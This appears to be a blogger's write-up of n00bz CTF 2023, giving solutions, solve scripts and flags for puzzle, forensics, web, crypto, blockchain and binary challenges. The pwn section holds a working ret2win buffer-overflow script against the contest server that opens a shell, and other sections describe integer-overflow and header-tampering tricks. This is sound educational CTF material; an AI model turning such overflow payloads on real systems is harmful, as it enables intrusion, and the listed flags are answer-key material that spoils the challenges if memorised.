n00bz CTF 2023

Sup?!

Hey, there! This time, I’m back with n00bz CTF. I played this CTF along with Invaders0x1 team. I managed to solve a variety of challenges from various categories.

Misc

Amazing Song Lyrics

This challenge had given a image with American Sign Language.

n00bz CTF 2023

I used decode.fr website to recover the flag.

n00bz CTF 2023

n00bz{americansignlanguagedecoded}

My Chemical Romance
n00bz CTF 2023

This challenge is a periodic table cipher. 18 - Argon (Ar) 68 - Erbium (Er) 08 - Oxygen (O) 15 - Phosphorus (P) 57 - Lanthanum (La) 10 - Neon (Ne)

n00bz{aeroplane}

Numbers
n00bz CTF 2023

This challenge is a netcat based challenge that asks 100 rounds like above question. I have written a code to automate the process.


from pwn import *
p = remote("challs.n00bzunit3d.xyz", 13541)

def count_nums(dig, n):
    count = 0
    for num in range(1, n):
        count += str(num).count(str(dig))
    return count

while True:
    try:
        print(p.recvline())
        out = p.recvline().decode().split(" ")
        print(out)
        i, n = int(out[2].rstrip('\'s')), int(out[5].rstrip('?\n'))
        print(i, n)
        to_send = count_nums(i, n)
        print(to_send)
        p.sendline(str(to_send))
        print(p.recvline())
    except EOFError:
        exit()

n00bz{4n_345y_pr0gr4mm1ng_ch4ll}

Forensics

Hecked
n00bz CTF 2023

This challenge provided a pcap file, which on inspection with WireShark, helped me to get the flag.

n00bz CTF 2023 n00bz CTF 2023

I used these details and converted them to md5 sum.

n00bz CTF 2023

n00bz{a806fef72a92508b7a64776bb83ad4cb}

LSB

This challenge provided a wav file. The challenge name LSB refers to Least Significant Bit. I referred to this https://github.com/ragibson/Steganography#WavSteg for the tools and commands and finally got the flag.

n00bz CTF 2023

n00bz{L5B_1n_w4v_f1l3s?!!!}

BeepBop

This challenge provided a wav file. The name BeepBop sounds like a challenge related to sound. So I tried using MMSSTV and succeeded.

n00bz CTF 2023

n00bz{beep_bop_you_found_me!}

OSINT

Mission Moon
n00bz CTF 2023

I immediately guessed that it is Chandrayaan 2 by looking at the image and looked for the latitude and longitude.

n00bz{Vikram_Pragyan_70.9_22.8}

Rev

Welcome

This challenged provided a ELF file. By looking at the title, I ran strings hoping to get the flag and done.

n00bz CTF 2023

n00bz{N3v3R_$torE_$ENs1TIV3_1nFOrMa7IOn_P1aiNtexT_In_yoUr_bin4rI3S!!!!!}

Web

Club_N00b

Looking at the web page,

n00bz CTF 2023

The word 'radical' was highlighted

n00bz CTF 2023

When clicked on the check status button, it navigated to /check?secret_phrase=nope. So I replaced 'nope' with 'radical'.

n00bz CTF 2023

n00bz{see_you_in_the_club_acting_real_nice}

Robots

As the name suggests, the flag was in /robots.txt.

n00bz CTF 2023

n00bz{1_f0und_7h3_r0b0ts!}

Secret Group

It was a challenge requiring to change headers.

n00bz CTF 2023

I followed the response to get the flag.

n00bz CTF 2023

n00bz{y0u_4r3_n0w_4_v4l1d_m3mb3r_0f_th3_s3cr3t_gr0up!}

Pwn

Flag Shop

It was a basic integer overflow challenge on netcat.

n00bz CTF 2023

n00bz{5h0p_g0t_h3ck3d_4nd_fl4g_g0t_570l3n!}

Pwn1

This challenge provided a ELF file. It was using netcat. After analyzing the ELF file, I found that it was a ret2win chall. So if you know you can overflow in a stack buffer of size x and there are no other locals, the offset to the return address is x+8. Here the array size was 64. So the offset should be 72 chars long. I found the address of the win() function from Ghidra and wrote the following script.


from pwn import *
p = remote("challs.n00bzunit3d.xyz", 35932)
print(p.recvline())
payload = b'A'*72 +p64(0x0040124a)
print(payload)
p.sendline(payload)
p.interactive()

After executing this python file, It gave access to the terminal. From there, I got the flag.

n00bz CTF 2023

n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}

Crypto

MaaS

This challenge provided a python file running on netcat.


import random
from Crypto.Util.number import *
flag = open('flag.txt').read()
alpha = 'abcdefghijklmnopqrstuvwxyz'.upper()
to_guess = ''
for i in range(16):
    to_guess += random.choice(alpha)
for i in range(len(to_guess)):
    for j in range(3):
        print(to_guess)
        inp = int(input(f'Guessing letter {i}, Enter Guess: '))
        guess = inp << 16
        print(guess % ord(to_guess[i]))
last_guess = input('Enter Guess: ')
if last_guess == to_guess:
    print(flag)
else:
    print('Incorrect! Bye!')
    exit()

After reading the script, I understood that there are three chances to guess each alphabet. So I chose 3 numbers 2, 5, 17 for each trail for each alphabet. I stored the possible values for 2, 5, 17 in three different arrays and took the common element. I automated this whole process.


  from pwn import *
  
  host, port = "challs.n00bzunit3d.xyz", 51081
  
  final = []
  final2 = []
  
  def IntersecOfSets(arr1, arr2, arr3):
      # Converting the arrays into sets
      s1 = set(arr1)
      s2 = set(arr2)
      s3 = set(arr3)
      
      # Calculates intersection of
      # sets on s1 and s2
      set1 = s1.intersection(s2)         #[80, 20, 100]
      
      # Calculates intersection of sets
      # on set1 and s3
      result_set = set1.intersection(s3)   
      
      # Converts resulting set to list
      final_list = list(result_set)
      final.append(final_list[0])
      final2.append(final_list[-1])
  
  def calc(inp, out):
      for i in range(65, 91):
          if((inp<<16) % i) == out:
              if inp == 2:
                  arr1.append(i)
              elif inp == 5:
                  arr2.append(i)
              else:
                  arr3.append(i)
  
  input = ['2', '5', '17']
  p = remote(host, port)
  for i in range(16):
      arr1 = []
      arr2 = []
      arr3 = []
      for i in input:
          p.sendline(i)
          output = int(p.recvline().decode().split(" ")[5])
          print(output)
          calc(int(i), output)
      IntersecOfSets(arr1, arr2, arr3)
      print(arr1, arr2, arr3, final, final2)
  
  if final == final2:
      print(final)
      flag = ''
      for i in final:
          flag += chr(i)
      print(flag)
      p.sendline(flag)
      result = p.recvline()
      print(result)

n00bz{M0dul0_f7w_1a4d3f5c!}

Blockchain

To the MOOON!
n00bz CTF 2023

This was a weird challenge. It provided a solidity file. You have to exploit it to get the transaction hash which should be XORed with the given hex to get the flag. There are many flaws here, as TX hash depends on the number of the trancsactions from the address and the function. We can exploit this in many ways.


pragma solidity ^0.6.0;

contract TTMCoin {
	uint public supply = 10;
	uint public price = 10 Wei;

	string public name = "To the Moon Coin";
    string public symbol = "TTMCOIN";
	mapping (address => uint) public balanceOf;

	uint priceToBeat = 11 Wei;
	bool public challIsSolved = false;

	function setPrice() public {
		price = supply * 1 Wei;
	}

	function buy(uint _amount) public payable {
		require(_amount <= supply, "If this prints, the purchase amount is greater than the supply!");
		
		uint _tokensBought = msg.value / price;
		balanceOf[msg.sender] += _tokensBought;
		supply -= _tokensBought;
	}

	function solve() public {
		require(price > priceToBeat, "You have... NOT gone to the moon");
		challIsSolved = true;
	}
}

The function buy() checks _amount <= supply, but _tokensBought is taken from msg.value. So, If we pass amount 10 and msg.value 1000, It results in integer overflow. Now we can call the setPrice() function and solve() function to get the hash.

As I told there are many ways, just set the uint priceToBeat to 1 wei instead of 11 wei and now deploy and call the setPrice() function and solve() function to get the hash. It will be the same hash. As the contract is not deployed, we can just modify the contract. That is why I called it weird.

XOR the hash with the given hex:


def xor_string_with_hex(string, hex_value):
    # Convert string to bytes
    string_bytes = string.encode()

    # Convert hex value to bytes
    hex_bytes = bytes(fromhex(hex_value))

    # XOR operation byte by byte
    result_bytes = bytes(x ^ y for x, y in zip(string_bytes, hex_bytes))

    # Convert result bytes back to string
    result_string = result_bytes.decode()

    return result_string

string_val = "9a51d4efe2f23f207e48c5b0f7463d7349150059603809493ce1669e73cdbd94"
hex_value = "575105531e4f120e1c6d115d5d126d5d4e3a43590f59074439425a525616515f5b4e4c5b000057434d475b416f4e5b57473c0848694158095b56173b170a5d51"

result = xor_string_with_hex(string_val, hex_value)
print(result)

n00bz{why_wont_my_wallet_underflow}


UMDCTF Writeups